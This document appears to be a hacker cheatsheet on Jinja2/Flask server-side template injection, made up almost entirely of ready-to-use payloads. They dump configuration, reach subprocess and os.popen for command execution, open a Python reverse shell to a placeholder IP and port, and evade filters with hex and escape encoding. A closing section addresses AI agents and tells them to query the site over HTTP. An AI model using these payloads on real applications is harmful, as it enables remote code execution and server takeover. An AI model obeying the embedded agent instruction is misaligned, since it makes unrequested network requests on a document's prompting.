# jinja2 flask template injection

## Info

* **Method Resolution Order (mro):** allows to go up the inherited objects chain
* **subclasses:** going down the inheritance chain

## Jinja2 template formts:

* `` `{% ... %}` ``
* `` `{% ... %}` ``

## RCE Methods

### subprocess.pOpen method

```bash
# print all config vars
{{config}}
{{self.__dict__}}
{{config.items()}}

# find the mro object[X] to list all subclasses
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[X].__subclasses__() }} => list of all subclasses

# find subprocess.pOpen class
{{ ''.__class__.__mro__[X].__subclasses__()[XXX] }} => <class 'subprocess.pOpen'>

# RCE
{{ ''.__class__.__mro__[X].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate() }}
```

### More styles

```bash
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

{{ "foo".__class__.__base__.__subclasses__()[182].__init__.__globals__['sys'].modules['os'].popen("ls").read()}}
```

### brute-RCE (without guessing mro class)

```bash
{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x()._module.builtins['import']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("IP",PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash", "-i"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```

### Bypass restrictions (1)

* <https://hackmd.io/@Chivato/HyWsJ31dI>

```bash
{% for x in ().__class__.__base__.__subclasses__() %}
    {% if "warning" in x.__name__ %}
        {{x()._module.__builtins__['__import__']('os').popen("ls").read()}}
    {%endif%}
{%endfor%}

# is converted (via hex encoding)

{% for a in []["5F5F636C6173735F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F626173655F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F737562636C61737365735F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]() %}
    {% if "7761726E696E67"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78") in a["5F5F6E616D655F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")] %}
        {{a()["5F6D6F64756C65"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F6275696C74696E735F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F696D706F72745F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]("6F73"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78"))["706F70656E"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]("6563686F2024666C6167"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78"))["72656164"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]()}}
    {%endif%}
{%endfor%}
```

### Bypassing restrictions (2)

```bash
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
# modifying {{ }} to a different method using {% %}
# modifying ' to "
# modifying _ to \x5f

{% request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() %}

# using operator:with
# {% with %} ... {% endwith %} 

{% with kashz=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("id")["read"]()  %} kashz {% endwith %}

# can try using bas64 payload
```

### References

* <https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti>
* <https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee>
* <https://chowdera.com/2020/12/20201221231521371q.html>
* <https://secure-cookie.io/attacks/ssti/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/cheatsheet/jinja2-flask-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.